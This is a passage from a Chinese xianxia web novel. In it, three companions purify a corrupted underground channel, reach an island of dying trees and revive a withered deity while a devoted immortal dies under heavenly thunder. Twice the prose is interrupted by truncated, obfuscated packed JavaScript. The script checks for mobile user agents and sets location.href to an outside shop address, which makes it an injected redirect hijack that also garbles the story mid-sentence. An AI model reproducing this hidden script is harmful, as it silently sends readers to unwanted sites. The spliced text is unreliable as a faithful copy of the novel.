第五个塌口补完之后,拓云停了下来。 他蹲在渠边,双手撑着膝盖,喘得很重。沧澜之力几乎耗尽了,指尖的微光比烛火还弱,再引一段水,他怕自己会昏过去。 拓宏也停了。他的拳面已经没有完好的皮肤,灰黑色的灼痕从手指蔓延到手腕,土之力凝出来的石壳越来越薄、越来越碎。 悦然靠在廊道壁上,额头的汗顺着下巴滴下来,连擦的功夫都没有。紫蓝二力同时运转了太久,手指开始发抖。 三个人需要歇一歇,也需要吃东西。 拓宏从怀里摸出那块干粮——之前掰剩的半块,硬得像石头。他咬了一口,嚼了半天咽不下去,嗓子干得像砂纸。 "水。"拓云说。 他把沧澜之力探入渠水——净水流过新修的渠段,已经清了不少,不再有腥苦之气。他从渠里捞起一捧,凑近鼻子闻了闻,又用舌尖试了试。 "能喝。" 三个人轮流喝水,渠水冰凉,灌进空了太久的肚子里,胃猛地抽了一下,但总算有了底。干粮配渠水,硬是啃完了。 不够。远远不够。三个人都饿得前胸贴后背,半块干粮只是杯水车薪。 拓宏站起来,准备继续走——他的目光扫过塌口旁边一道被碎石半掩的裂缝,脚步顿住了。 裂缝后面有空间。不是渠壁的裂缝,是廊道侧壁上的一间石室——上古检修廊道时存放工具和物料的地方。石室不大,门被碎石挡了大半,但透过缝隙能看到里面的轮廓:石架上摆着陶罐,陶罐旁边是麻绳和铁器,角落里还堆着几只木箱。 拓宏把碎石搬开,推开石门。 石室里积着厚厚的灰尘,但干燥——廊道的浊气没有渗进来,石门和石壁上的封存法阵还在起作用,把这一小方空间与外界隔绝了千年。 陶罐里是粮。陈粮,千年前存下的,法阵封存,没有受潮,没有发霉。抓一把闻一闻,有一股干燥的、陈旧的粮香——不好闻,但能吃。 木箱里更多——干肉、干菜、盐块,还有几坛酒,坛口的泥封完好,酒香一丝没漏。 上古修廊道的人,在这里备了足够一支工程队吃半年的口粮。千年后,这些粮等来了三个饿得发慌的人。 拓宏把陶罐搬出来,又翻出干肉和干菜。渠里有了净水,石室里有了粮和盐,三个人终于吃上了一顿像样的饭——干粮煮成粥,干肉撕成丝,干菜扔进去一起煮,没有调料,只有盐块磨碎了撒一把。 不好吃。但热了,饱了,活过来了。 拓云喝了三碗粥,吃了一条干肉,又添了半碗。拓宏吃得最多,他一个人吃了两个人的量,吃完了才觉得手脚有了力气。悦然吃得最少,一碗粥,还有拓云之前放在井沿上的霜糕,但她的脸色比吃饭前好多了。 三人靠在石室壁上歇了一摇。没人说话。廊道很安静,只有渠水流淌的声音——活的,动的,从身后流过来,往前流过去。 过了约莫一炷香,拓宏先站起来。 "走。" 三人继续往前推进。 青岚段的入口处,他们遇到了第一个大塌口。 渠壁整段崩塌,碎石散落一地,岩层断裂处像张开的嘴,浊气从里面汩汩地涌。叠脸精怪比滨蓝段的大了一倍,叠在一起的面孔更多、更扭曲,吞噬的嘴张得更大,抢夺的手伸得更长——贪念在这里更浓,更烈,更凶。 拓宏的双手按上岩壁,土之力刚渗进去,碎石便被浊气推了出来——侵蚀太久了,土性与石性之间的联系已经很弱,石头不认他的手。 他皱了皱眉,加大力道,把碎石一块一块地硬按回去。悦然见状分出紫力净化裂缝处的精怪,同时把破口上方的浊气暂时压住,给拓宏腾出一瞬的空当——拓宏趁这一瞬猛地发力,土之力把最后几块碎石压实咬合,破口合上了。 他把手收回来,看了看拳面——一层新的灰黑色灼痕,手指比刚才更僵了。他在步道上擦了擦手,没说什么。 悦然注意到他的动作,强让他停下来,她运转内力帮他疗伤。 叠脸精怪也在变多,但扛得住。 拓云的沧澜之力也在慢慢稳固。每修一处塌口,净水流过一截渠段,地脉便多认他一分——他和水脉之间的联系正在一点一点地建立,像渠水浸润干涸的河床,急不来,但挡不住。 到后来,他引水时歇的频率比刚开始少了一些,歇的时间也短了一些。拓云开始接替了悦然引动清泉水的任务。 越往青岚深处走,浊气越重。 渠水从黑变成了墨,从墨变成了一种黏稠的、泛着暗绿色油膜的浆液,流都不流了,像死水一样淤在渠里。腥苦之气浓得像实体,吸进去嗓子里全是铁锈味,呼出来连自己都闻得到。 叠脸精怪也越来越密。不再是几团几团地出现,而是挂满了整段穹顶,黑压压的一片,吞噬的嘴此起彼伏地张合,发出尖锐的、刺耳的声音,像无数只手在挠石壁。拓宏已经不能只靠石壁挡了——他得一边补墙一边打精怪,两只手轮着来,左手土之力凝壁,右手土之力轰脸,拳面上的石壳换了一层又一层,黑灰色变成了漆黑,手指已经不太弯得动了。 悦然的蓝力消耗也大。青岚段的法阵断裂太深,每一处纹路都要花半盏茶的功夫才能摸清走向,理顺一条,再理下一条,反反复复。紫力更是捉襟见肘——净化精怪要紫力,补墙封印也要紫力,两边抢着用,她额头上的汗一直没干过。 三人越走越慢,越打越吃力。 直到悦然的蓝力探到一处,忽然停住了。 "就在这里。"她说。 之前她便感知到前方有更大的破损,但隔着太远,定不了位。推进了这么久,此刻蓝力终于触到了那个源头——就在脚下。 "这是循化岛正下方。"拓宏感应到头顶的土力。 悦然站起来,脸色很难看,"浊气和疫气在这里最重——整条东支廊道最大的破损就在前面。" 拓宏走到渠边,把手伸进渠水。土之力顺着渠底的石头往前探——他的感知刚走了不到十丈便撞上了一片混沌。石头是碎的,岩层是断的,但碎和断的方式跟之前不一样。之前是塌,石头往下掉;这里是炸,石头往外翻,像被什么东西从地底掀开了一样。 他收回手,看了看拓云和悦然。 "一起!" 三人走到了那处最大的破损前。 渠壁整段消失了——两侧的岩层像被撕开一样往外围翻卷,碎石散落一地,底下露出更深处的岩层,黑水从裂缝里往上涌,浊气和疫气混在一起蒸腾而起,浓得像雾。空气里的腥苦之气已经到了让人无法呼吸的地步,悦然不得不用紫力在三人周围凝了一层薄薄的护罩,把最毒的那部分隔在外面。 穹顶上的叠脸精怪密得像蜂巢,几十团黑雾挤在一起,每一团都有几十张叠在一起的面孔,吞噬的嘴张到极致,抢夺的手伸出无数只——贪念在这里凝聚到了最浓,浓得有了实体,浓得像一堵墙。 拓云深吸一口气,双手探入渠水。 沧澜之力从他掌心倾泻而出——比之前任何一次都深、都重。他把自己变成了那条河道本身,净水从他体内流过,灌入渠水之中,与浊气疫气正面对冲。 渠水翻涌。浊气反扑。 他咬紧了牙。 悦然同时出手——蓝力沿渠壁渗入,顺着清泉之水残存的脉络,感知破损处每一处裂缝的位置和走向,把拓云的净水沿着清泉的旧路引导过去。循路而行——蓝力认得清泉走过的道,净水跟着蓝力走,便不会迷路。 但破损太大了。渠壁整段消失,净水灌进去便散了,像往无底的缸里倒水,怎么也填不满。浊气和疫气从四面八方涌进来,净水冲过去又被顶回来。 "墙!先补墙!"悦然喊道。 拓宏已经冲到了最大的断裂处。他双膝跪进渠水里,双手按上翻卷的岩层——石头被浊气侵蚀得又酥又脆,像烂了的骨头。土之力从掌心渗入,先把碎石的根基稳住,再从外围往中间一点一点地压实。 浊气顶着裂口不让合。拓宏的土之力刚把碎石归位,浊气便从缝隙里涌出来,把石头往外推。他的手背上黑气蔓延,石头一遍遍被推开来,他一遍遍再压回去。 悦然分出紫力净化扑向拓宏后背的精怪——紫力渗进黑雾核心,把贪念一层层剥离,精怪尖叫着溃散,但新的一波又从裂缝深处涌出来。她一边净化精怪,一边用剩余的紫力封印破口上方的浊气,给拓宏腾出补墙的空当——但紫力两头用,消耗是平时的三倍,额头上的汗顺着下巴滴进渠水里,她连擦的功夫都没有。 叠脸精怪从穹顶上砸下来,一波接一波——拓云分出一缕沧澜之力横扫过去,净水裹着浊气一起卷开,精怪被冲散了一瞬,又重新聚拢。他顾不上打,净水的通道正在一点一点地往前推进,他不能分心。 悦然一手蓝力引导净水,一手紫力净化精怪兼封印破口,两只手各干各的,脑子也在同时转两件事——蓝力在前方开路,紫力在后方清障补漏。 三个人都在透支。 拓宏的拳面已经没有完好的皮肤了,灰黑色的灼痕从手指蔓延到手腕,土之力凝出来的石壳越来越薄、越来越碎,补一段墙要换三层石壳。他的呼吸粗重得像拉风箱,但双手始终没有离开岩壁。 拓云的沧澜之光一明一灭,每灭一次,他的脸色就白一分。嘴角的血擦了又渗、渗了又擦,到后来他已经不擦了,由着它流。净水的通道在浊气中艰难地往前推进——一寸、两寸、一尺、两尺——每推进一步,他都要把体内的沧澜之力逼到极限。 悦然的紫蓝二力同时运转,消耗是平时的三倍。她的手指开始发抖,视线偶尔会模糊一下,但她咬着牙没停——蓝力断了,净水就迷路;紫力断了,精怪就反扑。她两边都不能停。 不知过了多久。 拓宏补完了最后一段渠壁。他补出来的墙粗粝、厚重,碎石咬合得像乱牙,但堵住了。浊气最大的入口封死了。 悦然的蓝力在那一刻感觉到了——清泉之水从上游涌过来,沿着她疏通的脉络灌入新补好的渠段,冲刷着碎石和淤泥。法阵纹路在净水过处一节一节地亮起来,像干涸的河床重新认了水。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632103|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 拓云的沧澜之力从破损处的中央撕开了一条路——净水沿着法阵纹路灌入下游的渠段,将浊气逼退至渠壁边缘。清浊分流,各归其位。 叠脸精怪的吞噬声骤然弱了下去——贪念断了根,裂口封死了,没有新的贪念渗入,旧的黑雾便开始溃散,叠在一起的脸一张一张地剥落,化为浊水,最终被渠中重新流动的净水冲走。 循化山下最大的破损,修补好了。 渠水从黑色变成了深青色,又从深青色变成了微微泛亮的透——不算全清,上游深处还有破口,还有浊气渗入,但比之前清了七成。没有疫气了,人喝了不会再病。 拓云把双手从渠水中抽出来,整个人脱力地往后倒。 拓宏伸手去扶,手刚伸到一半,自己也跪了下去。土之力从拳面上褪尽,灰黑色的灼痕底下是血肉模糊的皮肉,手指已经完全弯不动了。 悦然想走过去,脚下踉跄了一下,扶住廊道壁才没有倒。紫蓝二力同时撤去的瞬间,浑身的力气像被抽空了一样,耳朵嗡嗡作响,眼前发黑。 三个人就这样瘫在了廊道里,各靠一面试壁,大口大口地喘气。 没有人说话。 只有渠水流淌的声音——活的,动的,从循化山下穿过,往青岚的方向流去。那是净水流淌的声音,三天前还听不到,现在听到了。 过了很久,拓宏先开口。 "上去。"他的声音哑得像破锣,"找个地方歇。" 拓云勉强抬起头,看了一眼穹顶——上方有一个竖井口的轮廓,微弱的天光从缝隙里透下来。 他点了点头。 石阶沿着竖井壁盘旋向上,走了约莫三四十级,空气渐渐变了——浊气淡了,取而代之的是一种潮湿的、带着草木气息的味道。 三个人走得极慢。拓宏用肩膀顶着墙走,手已经完全使不上力了;拓云走在中间,步子虚浮,随时可能栽倒;悦然走在最后,一手扶着井壁,一手随时准备接住前面的人。 又走了十几级,风来了。真正的风——带着泥土味和草木味的、地面上的风。 竖井口被一块石板盖着,石板已经碎了一半。拓宏用肩膀把碎石顶开——石板碎成几块,滚到一旁。 天光涌了进来。 三个人从竖井口爬出来,站在了一片土地上。 风先到——带着草木气息的风,不是腐味,是活着的树的味道。然后是光,灰蒙蒙的天光,从云层缝隙里漏下来,不够亮,但比廊道里强了百倍。 然后他们看到了树。 参天的古树。一棵接一棵,从近处一直延展到视线尽头,密密匝匝,遮天蔽日。树种各异——有的树干笔直如铁,枝叶细密如针,是松;有的树冠如盖,气根垂地,是榕;有的树皮龟裂如鳞,枝头挂着翅果,是枫;有的树身洁白如玉,叶大如掌,是梧桐。有的树形低矮却盘根错节,像蜷伏的兽;有的树高逾百丈,树冠插入云层,像直立的塔。 不同的树,不同的形态,不同的气质——但它们都有一种共同的安静。那种安静不是死寂,是沉淀。像活了很久很久的生命,把所有的躁动、所有的欲望、所有的厮杀都放下了,把根深深扎进泥土里,把枝安安静静地伸向天空,不再需要去争,不再需要去抢——阳光会来,雨水会来,只需要安静地生长。 循化岛。动物修炼至此,化去兽形,化为树木。换一种活法——不再觅食,不再厮杀,不再以吞噬其他生命来维系自身。只需要扎根、生长、安安静静地活成参天大树。不同的兽化不同的树,狼化松,鹤化桐,蛇化柳,象化榕——什么品性化什么木,什么造化得什么形。 这是循化岛的道。 但此刻的循化岛,不是该有的样子。 大片大片的古树在枯死。有的树叶落尽,枝干发黑,树皮剥落,露出干枯的木质部;有的树干上长满了暗绿色的霉斑,像皮肤上的疮;有的树根处渗出黑色的浊水,树根在浊水里泡得发烂;有的已经彻底死了,枯木立在原地,像一具具站着的尸骨。 还有更多——病着的,弱着的,半死不活吊着一口气的。树叶枯黄卷曲,枝头挂着败果,树干上爬满了浊气侵蚀的裂纹。风一吹,枯叶纷纷落下来,落在黑水里,无人去扫。 拓云站在竖井口,看着这一片枯死的古树林,久久没有说话。 他能感觉到——这些树还活着。不是全部,但大部分还活着,只是病了,弱了,撑不住了。它们的根还在泥土里,生机还在,只是被浊气和疫气压得喘不过气来。 有人在帮它们撑着。 一股极微弱的、极干净的灵力,从岛中央的方向弥漫过来,像一层薄薄的纱,覆在这片古树林上,把浊气往外推了推。推不多,推不动了,但还在推——每天推一点,每天续一点,让那些本该死掉的树再多活一天。 三个人顺着那股灵力的方向往岛中央走。 脚下是黑色的泥,枯叶踩上去没有声响,像踩在灰烬上。古树的枝干在他们头顶交织成一片灰暗的天幕,只有零星的光从缝隙里漏下来,斑斑驳驳地落在泥地上。 越往中央走,古树的状态越好一些——灵力是从中央往外送的,离源头越近,保护越强。到了靠近岛中央的地带,有些古树还保持着几分生机,树冠虽然没有从前茂密,但枝叶还是绿的,在灰蒙蒙的天色里,那一星半点的绿意格外扎眼。 岛的中央是一片开阔的平地。 平地上有一棵银杏。极大,树冠几乎覆盖了整片平地。金黄的叶子还没有全落,在灰蒙蒙的天色里像一片悬浮的光。但树干上爬满了暗色的裂纹,有一根粗枝已经从主干上断裂,斜斜地搭在地上,落叶堆满了断口。 银杏树下,坐着一个人。 盘膝而坐,双手掌心朝上搁在膝上,眼窝微合,面朝古树林。 他在喂树。 极微弱的灵力从他掌心渗出来,顺着树根渗入地下,沿着泥土向四面八方蔓延,送到每一棵病了的、弱了的、快撑不住的古树根下——不多,每棵树只分到一丝,像久旱的地里滴进去的一口水,不够解渴,但够再多活一天。 他整个人瘦得脱了形。 青色的长袍空荡荡地挂在身上,像披在枯枝上的一层皮。颧骨高高耸起,脸颊深深凹陷,皮肤枯黄干裂,像一张揉皱了又摊开的旧纸。嘴唇干裂出血痂,鼻翼微微翕动,呼吸浅而匀。 他的头发白了。 不是花白,是全白。从发根到发梢,一根黑丝都不剩,白得像落了雪,白得像那棵银杏树上最后几片要落的叶。白色的头发用一根青色的布条松松地束在脑后,有几缕散落下来,垂在脸侧,被汗粘在颧骨上。 他的手背上青筋暴突,指节嶙峋,像枯木上攀着的藤。掌心朝天,灵力还在送——温的,不是热的,热的他送不起了。他只够送一丝温的,像冬天里捂在掌心的最后一口热气,舍不得呼出去,但还是要给出去。 给这些树,给这条灵脉,给这一方百姓,给—— 一个人。 守循化岛的古树,守灵脉,守青岚的宫殿,守这一方土地上还要生活的人。每天给古树注入仙力维持生机,每天压住灵脉的破损不让浊气上涌,每天还要理政——治理这一方百姓,裁断纷争,兴办学堂,修缮水渠,颁布律令。事情太多了,灵力不够用了,身体撑不住了,但他不倒。 不能倒。 他倒了,这些树就死了,灵脉就断了,这一方天地就没有人守了。 所以他枯成了这副模样,头发白成了雪,但脊背还是直的,灵力还是净的。 三个人站在平地的边缘,看着银杏树下的那个人。 拓云先认出来了。 记忆里青色长袍,云海边,回头笑。五神之首,苍野尊神,曾经站在所有人最前面的人,曾经是定海的神针,有他在,天塌不下来。 此刻那个人枯坐在银杏树下,头发白成雪,瘦得像一截干柴,灵力微弱得像一盏快灭的灯——但还在送,还在撑,还在等。 拓云的眼眶一热,嗓子像被什么东西堵住了,叫不出声。 拓宏也认出来了,那个吸引了悦然全部关注的尊神,此刻微合着眼;认得那股灵力的质地——干净的、温柔的、沉默的,此刻摇摇欲坠。 拓宏的拳头攥紧了。灰黑色的灼痕在拳面上裂开,血渗出来,他浑然不觉。 然后悦然看到了他。 她站在两个人的后面,隔着满地落叶,隔着灰蒙蒙的天光,看着银杏树下的那个人—— 枯槁。白发,空荡荡的青色长袍挂在身上。掌心朝天的手,还在输送灵力。 她认识这个人。 她太认识这个人了。 她的记忆里到处都是他—— “你还会不会娶我?”她语声悲切,他狠拉喜袍将她甩至墙角。 “呵呵,等吧,等你不再是帝君之女的时候!等你尝尽世间所有苦痛的时候!等你不再这么痴傻地求我的时候!”他愤怒地瞪她一眼,冷笑道。 ………… 她的眼眶热了。不是泪。是比泪更深的东西,从胸腔深处涌上来,堵在嗓子眼,说不出来,咽不下去。 此刻,他却在等她。 用最后一盏灯的光,守着一条她回家的路。 三个人站在那里,没有动,没有出声——像是不敢惊动那棵银杏树下的人,不敢惊动他还在送的灵力,不敢惊动他还在等的那个念想。 但煦审年感知到了有人来。 他的灵力虽然微弱,但覆盖着整片古树林——有人踏入这片林子,他便知道。只是他不知道来的是谁,灵力太弱了,分辨不出气息。 他睁开了眼。 疲惫地看向这几个人——三个从地下走上来的人,灰头土脸,狼狈不堪,站在平地的边缘,像三尊泥塑。 他的目光从拓宏移到拓云,又从拓云移到—— 悦然。 那双疲惫至极的眼睛,在看到悦然的那一瞬间,燃起了一束光。 他的嘴唇颤抖了,嘶哑出声。 "悦然——" 声音像碎石在枯木上摩擦,几乎听不清。但他还是说出来了,一个字一个字地从干裂的嘴唇里挤出来—— "你——终于醒了。" 话音落下的同时,一口黑血从他嘴里喷了出来。 暗黑色的血溅在青色的袍襟上,溅在掌心里,溅在银杏树露出的根上。他的身体猛地往前一倾——灵力断了,那根撑了太久的弦,在他看见等的人终于来了的那一刻,终于断了。 他整个人向前栽倒,像一座山终于在最后一刻坍塌了。 40. 一往情深 情不知所起,一往而深,生者可以死,死可以生。生而不可与死,死而不可复生者,皆非情之至也。 ——汤显祖《牡丹亭》题记 "耔煦——" 倩婷从银杏树旁的小木屋里奔出来。那间木屋她住了五天,他不肯让她住进来,她便在二十步外自己搭了一间。此刻她什么都听不见了——她只看见银杏树下那个人往前栽倒,黑血从嘴角淌下来,青袍铺在地上像一摊落尽的叶。 她跑了两步,天雷落了下来。 一道白光从阴云密布的穹顶直劈而下,正中她的脊背。她的身体猛地往前一栽,摔在枯叶堆里,后背的衣衫烧焦了一片。她爬起来,跌跌撞撞往前扑——第二道雷跟着落下来,劈在她左肩,整个人被震得横飞出去,撞在一棵古树的根上。 "师兄——"拓云大吼一声,冲到煦审年身边将他扶起。煦审年的头无力地垂着,白发散落在拓云臂弯里,嘴角的黑血还在渗。 他的呼吸已经非常微弱了。 更可怕的是——灵识在消散。 淡金色的微光从他眉心、指尖、每一寸皮肤底下往外飘,萤火虫似的,在灰蒙蒙的天色里往上浮。五神之首苍野元尊的灵识,正在一丝一丝地从这具枯槁的肉身里剥离。 拓云攥紧了他的肩,沧澜之力往他体内灌——灌不进去。灵识散逸得太快了,拦不住。 倩婷扑到了煦审年身边。她的半边身子已被雷劈得半焦,左臂垂着使不上力。她用右手颤抖着从怀里掏出瓷瓶,倒出最后三颗丹药塞进他嘴里——他咽不下去。 丹药搁在舌尖上,嘴唇没有动,喉结没有动。他整个人像突然间失去了所有吞咽的意志,任由浊气啃噬着仙根,像一棵烂了根的老树,松了,等着倒。 倩婷伸出手去抓那些飘散的灵识碎片——微温的,像蝴蝶的翅膀,一碰就散。她两只手都在抓,十指在空气里胡乱地拢,拢到一片,还没握紧便从指缝里飘走了。 "苍野耔煦——"她喊出了他的仙名。 天雷应声而落。 追魂术的誓言在她下凡到蔚魄大陆那天便刻进了仙根——留仙力,留仙忆,但天上的事一字不可提。仙名是天庭的序籍,她破了戒,天谴不会饶恕任何人。 每叫一声,一道雷。 “耔煦,你醒醒。”第三道劈在她后背,皮肤上露出暗红色的灼伤。她没有倒。 “籽煦,你归位吧!”第四道劈在右肩,整个人往□□倒,半边脸磕在银杏树根上,额角磕破了,血顺着眉骨往下淌。 “耔煦,不要!”第五道劈在头顶,她的声音劈了。 “耔煦,我……不……逼你了!”第六道落下时她趴在地上,嘴唇贴着泥土,声音像从嗓子最深处挤出来的最后一点气。 "你归了仙位,我便不再纠缠你……"第七道。“苍野耔煦……”第八道。 “苍……我……”第九道雷落下来的时候,倩婷的身体弹了一下,像被一只无形的手拎起来又摁下去。 她趴在煦审年身旁,一动不动了。焦黑的衣衫底下渗着血,后背灼伤深可见骨,呼吸若有若无。 而煦审年的灵识,仍在消散。 拓云一直在看着。从第一道雷落下来的时候他就在看着——看着倩婷奔跑、摔倒、爬起来、再跑,看着天雷一道一道劈在她身上。他看见的是拓夏的脸。 十二岁的拓夏被嫁给瓦鲁,路上遭人糟蹋,他找到她的时候是在大漠里——身下全是血,身上全是伤,眼睛睁着,已经没有光了。 此刻那张脸又被劈开了。天雷灼过的皮肉翻卷着,焦黑和血混在一起,和当年大漠里的伤叠在了一起。 但他没有冲上去拦倩婷。 因为他知道——拦不住。 追魂术的禁制是她自己刻进仙根的,她每叫一声便已知道会来什么。她不是不知道,她是不要了。 悦然站在三步之外。一步都没有迈出去。从看见煦审年栽倒的那一刻起,她的脚就像生了根。 她看着他枯槁的脸,看着他灵识一点一点地飘散。一滴泪从她眼角滑落,只有一滴。 她想说什么。 我放过你了。 我放下你了。 我原谅你了。 哪一句都到了嗓子眼,哪一句都出不来。 她的紫蓝二力在体内猛地翻涌了一下——他是谁?苍野耔煦?沈煦?还是煦审年?三个人的影子叠在一起,那些年的怨恨、不甘、痴缠全翻了上来。她的瞳孔开始涣散,紫蓝二力明灭不定—— "然然,凝神!" 拓宏的吼声砸在她神魂的裂隙上。她的瞳孔猛地一缩。 拓宏站在她身侧,一只手攥着她的手——冰凉的,颤抖的,攥得很紧。 他的另一只手已经抬了起来,沉岳之力从掌心涌出,凝成一道厚重的屏障,把煦审年散逸的灵识碎片稳稳地圈在屏障之内——淡金色的微光撞在土壁上,没有散出去,而是在屏障里慢慢沉降。 拓云也动了。他单膝跪在煦审年另一侧,沧澜之力往仙根里灌——净水沿着仙根的纹路渗入,滋养那些被浊气啃噬得千疮百孔的根须。仙根有生机了,灵识便有地方可归。 但他们只稳住了壳。煦审年的神魂还在往远处走——他们拦住了他的身体不散,拦不住他自己沉寂的念头。 拓宏看着悦然。 "去吧。他在等你。"他松开她的手——不是推开,是放在那里,让她自己决定。 他退后一步,沉岳之力维持着屏障,拓云的沧澜之力滋养着仙根。 "我和云儿,为你护法。" 悦然看着煦审年。 他躺在银杏树下,白发铺在枯叶里,灵识碎片在沉岳屏障里缓缓旋转。他的脸很安静——决绝的安静,像走远的人不再回头看。 她迈出了那一步。然后是第二步。第三步。她走到他面前,盘膝坐下,闭上眼。 紫蓝二力从掌心渗出,缓缓探入煦审年体内——不是灌,不是冲,是渗。一寸一寸地往里走,每推进一寸,便把他散逸的神魂往回拢一分。紫蓝二力触到他神魂的那一刻,记忆炸开了。 喜堂。红烛。他把她掀出去的手。 云海。青衫。他回头审视她的不屑。 诛仙台。震惊。他看她神秘神谕时的不可置信。 循化岛。银杏树。他三年里用仙力抵抗病疫侵蚀的决绝。 然后她感受到了更深的东西——她从华夏到蔚魄的转瞬间,他在这个世界等了二十年。时空错位带来的荒诞在于:她轻生的瞬间,他经历的时间已经足够漫长。当他们终于重逢时,他已经把自己熬成了枯木。 然后她感受到了更深的那个—— "死生契阔,与子同悦。"他的声音,从很深很深的地方传来。他要她快乐。从前世到今生,从仙界到人间,他要她快乐。 后来发生的所有事——倩婷的介入,误会的裂痕,她的自杀——都掩住了这一层。 但此刻,她的创世之力渗进了他的神魂,什么都掩不住。 然后另一层记忆翻上来了。 不是他的,是她自己的。 她的不解,她的不甘,她的委屈,她的愤怒,她的绝望,她的报复……是的,她用轻生报复。她要他用余生来记住这一幕。 那个念头浮上来的瞬间,紫蓝二力猛地一颤。她的手想缩回来。 她没有缩。 她把手按住了。 按在他心口上,不让自己往后退。 那层记忆太丑了——比他做过的任何事都丑。她一直以为自己是被害者,但那一刻她看见了:她也有过恶念。和叠加脸精怪本质上没有区别。 紫蓝二力在剧烈地波动,明灭不定。 拓宏在外面感觉到了——沉岳屏障晃了一下,他咬着牙稳住,沉声喊:"然然——" "我没事。"她说。 声音在抖,但手没有动。 她把那层记忆连同怨恨一起按在了掌心底下,让创世之力一寸一寸地浸过去。 不是冲走,不是压制——是看清了,然后放下。 她看清了自己的恨里有多少是真的伤,有多少是拿伤当武器在使。 她看清了他做过的那些事里,有多少是真的恶,有多少是笨拙到残忍的、不知道该怎么收拾的善意。 紫蓝二力在那一刻稳了。 心魔退了,怨恨散了——不是被力量冲走的,是她自己看完、认下、然后松手的。该冲走的都冲走了,该留下的都留下了。 她的掌心贴着他的心口。 紫蓝二力牵引创世的生机,从她体内一丝一缕地往外渡——世间万物由她而生,此刻她用这股力量去唤一个人。 这不是还债,不是原谅,是一个创世者对一缕将散的神魂做出的选择:你该在。你该活着。 灵识碎片开始往回聚。 淡金色的微光从沉岳屏障里往回落,像萤火虫飞回了灯笼里,重新汇入他的眉心、心口、指尖。 干瘪的血脉在充盈,枯萎的经脉在回润,仙根在沧澜之力和创世生机的双重滋养下重新扎进了泥土。 他的呼吸在变——每深一分,拓云便把沧澜之力收回一分;每稳一分,拓宏便把沉岳屏障放低一分。三个人配合着,像渠里引水——悦然是源头,拓云是渠道,拓宏是渠壁。 不知过了多久。煦审年的呼吸稳了。灵识不再散逸,仙根不再枯萎,经脉里重新有了灵力在流转——慢,极慢,但通了。 他没有醒。 灵力灌满了经脉,正在一点一点地修补那些薄如纸的管壁,修补被掏空了太久的脏腑。修补需要时间。他沉在修复里,像一颗种子埋进了土里,盖了厚厚的雪。雪底下的东西是活的,但还没到破土的时候。 倩婷醒了。 她趴在枯叶里,后背焦黑一片,每一寸皮肤都在疼。但她醒了——是被一样东西叫醒的。复苏之力。煦审年的复苏之力。极微弱的,像刚点着的灯芯,但确实在流转——他活了。 她撑着胳膊,艰难地抬起头,看向银杏树下的那个人。 悦然坐在他面前,掌心贴着他的心口,紫蓝色的光从指缝间渗出来。 他的呼吸浅而匀,脸上的枯黄在退,白发安静地散在枯叶里。 他活了。 倩婷看着他,看了很久。然后她笑了。嘴角裂开一道血口,很疼,但她笑了。 她用最后一丝力气抬起手,朝他的方向伸了一下——没有碰到他。指尖离他的衣角还有三尺远。她的手落了下去。 "好。"她说。声音很轻,像说给自己听。 然后她闭上了眼。 一道极淡的白光从拓夏的身体里升起来——倩婷的仙魂。白光在半空中停了一瞬,像是回头看了最后一眼,然后往天穹的方向去了。干干净净,不再回头。 她归位了。 拓夏的身体安静地躺在枯叶里,没有了仙魂的支撑,重新变回了那具没有了生气的躯壳。 拓云走过去,蹲下来,把拓夏的身体抱起来。很轻。和当年在大漠里抱起她的时候一样轻。他没有说话,只是抱着她,像抱着一个睡着了的人,很小很轻的人,十二岁的,还没有嫁去瓦鲁的,他的妹妹。 他知道这具身体里住过另一个人,但身体本身是他妹妹的。他要带她回曦宇,与拓夏的衣冠冢葬在一起。 悦然把手从煦审年的心口移开,她脸色惨白,但她的眼睛是清的。 拓云将煦审年抱进了木屋。 抱,因为他如今已经瘦成了一副骨。 随后,拓宏和拓云退出了木屋,屋里只剩她和沉睡中的人。 她看着他的脸。白发散在枕上,呼吸浅而匀,脸上枯黄在退——灵力正在他体内慢慢修补那些被掏空太久的经脉。他不会死了。 她在床边坐下来,没有握他的手,没有碰他的额头,只是坐着,像坐在一个终于可以平静相对的老朋友面前。 "沈煦。"她开口,声音很轻,但很坚定,"我放过你了。我不再恨你了。" 她顿了一下。 "从前在华夏,你给过我一个家。后来你亲手把它拆了。我恨过你,恨到绝望。"她停了停,像在掂量下一句话的分量。"刚才我探进你的神魂里,看见了你存的那些东西。也看见了我自己——想报复你。" 她没有回避这句话。让它落在空气里,像一块石头落进水里,沉到底。 "那一刻我才知道,恨你这件事,我自己也不干净。所以这笔账,不是你欠我的——是我们两个都欠了,各欠各的。你已经用你的方式还了。我想,你在循化岛守灵脉、喂古树,把自己熬成这副模样——不是为了让我原谅你,是因为你觉得这是你该做的。" 她看着他闭着的眼睛。 "我如今已不是帝女,也不需要你护着我了。我有了自己的爱人,有了自己想要相守的人。你也该有自己的去处——倩婷也好,天界也好,循化岛也好。那是你的事。" 她站起来。 "苍野耔煦,前尘往事,就此一笔勾销。往后各有各的路,各保各的重。我也希望你好。" 她转身走向门口,推开门,走了出去。 沉睡的苍野耔煦,眼角一滴泪划过,流进了耳蜗。然后是一滴接一滴。 拓宏收回了沉岳屏障。 他看了看自己的手——灼痕底下的血肉已经分不清了,手指弯不动,但还能站。 拓云把拓夏的身体轻轻放在银杏树的根旁,用枯叶盖住她露出的脚踝。 地脉仍在自行运转。渠水从循化山下穿过,净水过处,法阵纹路一节一节地亮起来。古树们在苏醒——近处的已经回了绿,远处的还在慢慢恢复,绿色从岛中央往外蔓延。 悦然走出木屋的时候,风从古树林里穿过来,带着新叶展开的气息。 拓宏站定,抬头看了看天色。他抬起手,拢在嘴边,吹了一声口哨。 那声口哨短而锐利,尾音带一个特殊的弯——拓宏幼时在宫中驯鹰,青岚以鹰隼传讯,每只鹰隼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 